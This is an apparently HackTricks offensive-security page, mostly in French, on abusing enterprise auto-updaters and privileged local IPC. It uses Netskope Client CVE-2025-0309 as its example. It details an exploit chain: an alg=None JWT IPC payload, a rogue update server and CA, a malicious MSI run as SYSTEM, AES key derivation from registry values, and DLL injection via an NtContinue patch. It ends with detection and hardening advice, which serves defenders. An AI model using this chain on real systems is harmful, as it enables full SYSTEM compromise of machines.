Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope stAgentSvc)

Reading time: 8 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Cette page gĂ©nĂ©ralise une classe de chaĂźnes d'escalade de privilĂšges locales Windows trouvĂ©es dans les agents endpoint d'entreprise et les updaters qui exposent une surface IPC Ă  faible friction et un flux de mise Ă  jour privilĂ©giĂ©. Un exemple reprĂ©sentatif est Netskope Client for Windows < R129 (CVE-2025-0309), oĂč un utilisateur Ă  privilĂšges limitĂ©s peut forcer l'enrĂŽlement vers un serveur contrĂŽlĂ© par l'attaquant puis livrer un MSI malveillant que le service SYSTEM installe.

Idées clés réutilisables contre des produits similaires :

  • Abuser de l'IPC localhost d'un service privilĂ©giĂ© pour forcer un rĂ©-enrĂŽlement ou une reconfiguration vers un serveur attaquant.
  • ImplĂ©menter les endpoints de mise Ă  jour du vendor, livrer un Trusted Root CA rogue, et pointer l'updater vers un package malveillant « signĂ© ».
  • Éviter des vĂ©rifications de signature faibles (CN allow‑lists), flags de digest optionnels, et propriĂ©tĂ©s MSI laxistes.
  • Si l'IPC est « chiffrĂ© », dĂ©river la key/IV Ă  partir d'identifiants machine lisibles globalement stockĂ©s dans le registry.
  • Si le service restreint les appelants par image path/process name, injecter dans un process allow‑listĂ© ou en en crĂ©er un suspendu et bootstrapper votre DLL via un minimal thread‑context patch.

1) Forcing enrollment to an attacker server via localhost IPC

Many agents ship a user‑mode UI process that talks to a SYSTEM service over localhost TCP using JSON.

Observed in Netskope:

  • UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
  • IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN

Exploit flow:

  1. Craft a JWT enrollment token whose claims control the backend host (e.g., AddonUrl). Use alg=None so no signature is required.
  2. Send the IPC message invoking the provisioning command with your JWT and tenant name:
json
{
"148": {
"idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>",
"tenantName": "TestOrg"
}
}
  1. Le service commence Ă  contacter votre serveur malveillant pour enrollment/config, par ex. :
  • /v1/externalhost?service=enrollment
  • /config/user/getbrandingbyemail

Remarques :

  • Si la vĂ©rification de l'appelant est path/name‑based, faites provenir la requĂȘte d'un binaire fournisseur figurant sur la liste blanche (voir §4).

2) Détournement du canal de mise à jour pour exécuter du code en tant que SYSTEM

Une fois que le client communique avec votre serveur, implémentez les endpoints attendus et redirigez-le vers un MSI malveillant. Séquence typique :

  1. /v2/config/org/clientconfig → Retourner la configuration JSON avec un intervalle de mise à jour trùs court, par ex. :
json
{
"clientUpdate": { "updateIntervalInMin": 1 },
"check_msi_digest": false
}
  1. /config/ca/cert → Retourne un certificat CA au format PEM. Le service l’installe dans le magasin Local Machine Trusted Root.
  2. /v2/checkupdate → Fournit des mĂ©tadonnĂ©es pointant vers un MSI malveillant et une fausse version.

Bypass des contrÎles courants observés sur le terrain :

  • Signer CN allow‑list : le service peut simplement vĂ©rifier que le Subject CN est “netSkope Inc” ou “Netskope, Inc.”. Votre rogue CA peut Ă©mettre un certificat leaf avec ce CN et signer le MSI.
  • CERT_DIGEST property : inclure une propriĂ©tĂ© MSI bĂ©nigne nommĂ©e CERT_DIGEST. Aucune vĂ©rification lors de l’installation.
  • Optional digest enforcement : un flag de config (par ex., check_msi_digest=false) dĂ©sactive la validation cryptographique supplĂ©mentaire.

Résultat : le service SYSTEM installe votre MSI depuis C:\ProgramData\Netskope\stAgent\data*.msi exécutant du code arbitraire en tant que NT AUTHORITY\SYSTEM.


3) Falsification de requĂȘtes IPC chiffrĂ©es (lorsqu'elles sont prĂ©sentes)

Depuis R127, Netskope encapsulait le JSON IPC dans un champ encryptData qui ressemble Ă  du Base64. Le reverse a montrĂ© un AES avec clĂ©/IV dĂ©rivĂ©s de valeurs de registre lisibles par n’importe quel utilisateur :

  • Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
  • IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID

Les attaquants peuvent reproduire le chiffrement et envoyer des commandes chiffrĂ©es valides depuis un utilisateur standard. Astuce gĂ©nĂ©rale : si un agent se met soudainement Ă  “chiffrer” son IPC, cherchez des device IDs, product GUIDs, install IDs sous HKLM comme matĂ©riau.


4) Contournement des allow‑lists d'appelants IPC (vĂ©rification de chemin/nom)

Certains services tentent d’authentifier le pair en rĂ©solvant le PID de la connexion TCP et en comparant le chemin/nom de l’image Ă  des binaires vendor allow‑listĂ©s situĂ©s sous Program Files (par ex., stagentui.exe, bwansvc.exe, epdlp.exe).

Deux contournements pratiques :

  • DLL injection dans un processus allow‑listĂ© (par ex., nsdiag.exe) et proxy de l’IPC depuis l’intĂ©rieur.
  • Lancer un binaire allow‑listĂ© en Ă©tat suspended et bootstrapper votre DLL proxy sans CreateRemoteThread (voir §5) pour satisfaire les rĂšgles de protection appliquĂ©es par le driver.

5) Injection compatible avec la protection anti‑manipulation : processus suspended + patch NtContinue

Les produits embarquent souvent un minifilter/OB callbacks driver (par ex., Stadrv) pour retirer les droits dangereux des handles vers les processus protégés :

  • Process : supprime PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
  • Thread : restreint Ă  THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE

Un loader user‑mode fiable qui respecte ces contraintes :

  1. CreateProcess d’un binaire vendor avec CREATE_SUSPENDED.
  2. Obtenir les handles encore autorisés : PROCESS_VM_WRITE | PROCESS_VM_OPERATION sur le processus, et un handle de thread avec THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (ou juste THREAD_RESUME si vous patcher du code à un RIP connu).
  3. Écraser ntdll!NtContinue (ou un autre thunk prĂ©coce garanti mappĂ©) par un petit stub qui appelle LoadLibraryW sur le chemin de votre DLL, puis revient.
  4. ResumeThread pour dĂ©clencher votre stub en‑process, chargeant votre DLL.

Comme vous n’avez jamais utilisĂ© PROCESS_CREATE_THREAD ou PROCESS_SUSPEND_RESUME sur un processus dĂ©jĂ  protĂ©gĂ© (vous l’avez créé), la politique du driver est satisfaite.


6) Outils pratiques

  • NachoVPN (Netskope plugin) automatise une rogue CA, la signature de MSI malveillant, et sert les endpoints nĂ©cessaires : /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
  • UpSkope est un client IPC personnalisĂ© qui fabrique des messages IPC arbitraires (optionnellement AES‑encrypted) et inclut l’injection via processus suspended pour Ă©mettre depuis un binaire allow‑listĂ©.

7) Opportunités de détection (blue team)

  • Surveiller les ajouts au Local Machine Trusted Root. Sysmon + registry‑mod eventing (voir les recommandations de SpecterOps) fonctionne bien.
  • Signaler les exĂ©cutions de MSI initiĂ©es par le service de l’agent depuis des chemins comme C:\ProgramData<vendor><agent>\data*.msi.
  • Examiner les logs de l’agent pour des hosts/tenants d’enrĂŽlement inattendus, p.ex. : C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – chercher les anomalies addonUrl / tenant et le provisioning msg 148.
  • Alerter sur des clients IPC localhost qui ne sont pas les binaires signĂ©s attendus, ou qui proviennent d’arbres de processus enfants inhabituels.

Conseils de durcissement pour les éditeurs

  • Lier les hosts d’enrĂŽlement/update Ă  une allow‑list stricte ; rejeter les domaines non fiables dans clientcode.
  • Authentifier les pairs IPC avec des primitives OS (ALPC security, named‑pipe SIDs) au lieu de vĂ©rifications basĂ©es sur le chemin/nom de l’image.
  • Garder le matĂ©riel secret hors de HKLM lisible par tous ; si l’IPC doit ĂȘtre chiffrĂ©, dĂ©river les clĂ©s Ă  partir de secrets protĂ©gĂ©s ou nĂ©gocier sur des canaux authentifiĂ©s.
  • Traiter l’updater comme une surface de la chaĂźne d’approvisionnement : exiger une chaĂźne complĂšte vers une CA de confiance que vous contrĂŽlez, vĂ©rifier les signatures des paquets contre des clĂ©s Ă©pinglĂ©es, et Ă©chouer fermĂ© si la validation est dĂ©sactivĂ©e en config.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks